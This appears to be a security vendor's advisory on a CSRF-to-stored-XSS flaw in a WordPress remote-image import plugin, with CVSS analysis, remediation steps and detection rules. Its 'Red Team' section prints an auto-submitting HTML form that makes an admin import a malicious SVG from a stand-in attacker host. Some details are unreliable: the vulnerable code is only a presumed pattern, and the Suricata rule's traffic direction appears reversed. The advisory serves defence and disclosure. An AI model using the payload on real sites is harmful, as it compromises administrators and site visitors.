CVE-2025-48153

Executive Summary

CVE-2025-48153 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Import CDN-Remote Images by Atakan Au, affecting versions up to and including 2.1.2. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as importing malicious images from remote URLs, which can lead to Stored Cross-Site Scripting (XSS). This is a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS score is 7.1 (High), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin file and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the original security scope.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is High due to the potential for Stored XSS, which can lead to session hijacking, defacement, or malware distribution.

Deep Dive & Mechanics

The vulnerability resides in the import-cdn-remote-images WordPress plugin. The plugin lacks CSRF protection on its image import functionality. An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, triggers a request to import an image from an attacker-controlled URL. If the imported image contains malicious JavaScript (e.g., in EXIF data or as a crafted SVG), it becomes stored on the server and executed when other users view the affected content.

Attack Flow:

1. Attacker identifies a target site running the vulnerable plugin.
2. Attacker crafts a CSRF payload (e.g., an HTML form auto-submitting to the plugin's import endpoint).
3. Attacker lures an authenticated admin to visit the malicious page.
4. The admin's browser sends a forged request to import a malicious image from an attacker-controlled server.
5. The plugin stores the image, which contains embedded XSS payload.
6. When other users (including the admin) view the imported image, the XSS executes.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's main handler for importing remote images. A typical vulnerable pattern would be:

Vulnerable (no CSRF nonce check):

function import_remote_image() {
    $url = $_POST['image_url'];
    // No nonce verification
    // Download and save image
    update_post_meta($post_id, 'remote_image', $url);
}

Patched (with CSRF nonce):

function import_remote_image() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'import_remote_image_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $url = esc_url_raw($_POST['image_url']);
    // Download and save image
    update_post_meta($post_id, 'remote_image', $url);
}

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Host a malicious HTML page on an attacker-controlled server.
2. Craft Payload: Create an HTML form that auto-submits to the target WordPress site's import endpoint.

   <form action="http://target-site.com/wp-admin/admin-ajax.php?action=import_cdn_remote_image" method="POST">
       <input type="hidden" name="image_url" value="http://attacker.com/malicious.svg">
       <input type="submit" value="Submit">
   </form>
   <script>document.forms[0].submit();</script>
   

3. Deliver: Send the link to the victim admin via email or social engineering.
4. Exploit: The admin's browser sends the request, importing the malicious SVG containing XSS.

Blue Team (Defender)

1. Detection: Monitor for unusual POST requests to admin-ajax.php with action import_cdn_remote_image from non-admin IPs.
2. Honeypot: Deploy a fake admin account and monitor for CSRF attempts.
3. Mitigation: Temporarily disable the plugin until a patch is available. Implement Web Application Firewall (WAF) rules to block requests to the vulnerable endpoint without a valid nonce.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=import_cdn_remote_image and image_url parameter pointing to an external domain.
  • Unusual image files (e.g., SVG, PNG with embedded JavaScript) stored in the WordPress uploads directory.
• File System:
  • Files in /wp-content/uploads/ with suspicious EXIF data or JavaScript content.
• Logs:
  • WordPress debug logs showing failed nonce checks (if patched) or unexpected image imports.

Detection Engineering

YARA Rule

rule CVE_2025_48153_CSRF_XSS {
    meta:
        description = "Detects malicious SVG files used in CVE-2025-48153 CSRF-to-XSS attack"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48153"
    strings:
        $svg_xss = /<script\b[^>]*>.*?<\/script>/is
        $svg_onload = /onload\s*=\s*["']?javascript:/is
        $svg_onerror = /onerror\s*=\s*["']?javascript:/is
    condition:
        ($svg_xss or $svg_onload or $svg_onerror) and filesize < 1MB
}

Sigma Rule

title: CVE-2025-48153 CSRF to Stored XSS via Import CDN-Remote Images
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with action import_cdn_remote_image
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=import_cdn_remote_image'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48153 CSRF to Stored XSS via Import CDN-Remote Images"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=import_cdn_remote_image"; http_client_body; pcre:"/image_url=[a-zA-Z0-9%]+/"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Import CDN-Remote Images plugin until a patched version is released.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=import_cdn_remote_image unless a valid nonce is present.
3. Long-term: The vendor must add CSRF nonce verification to all plugin actions and sanitize imported image files to prevent XSS.
4. Monitoring: Enable WordPress debug logging and monitor for unusual image imports.

Valters IT
Securing Digital Frontiers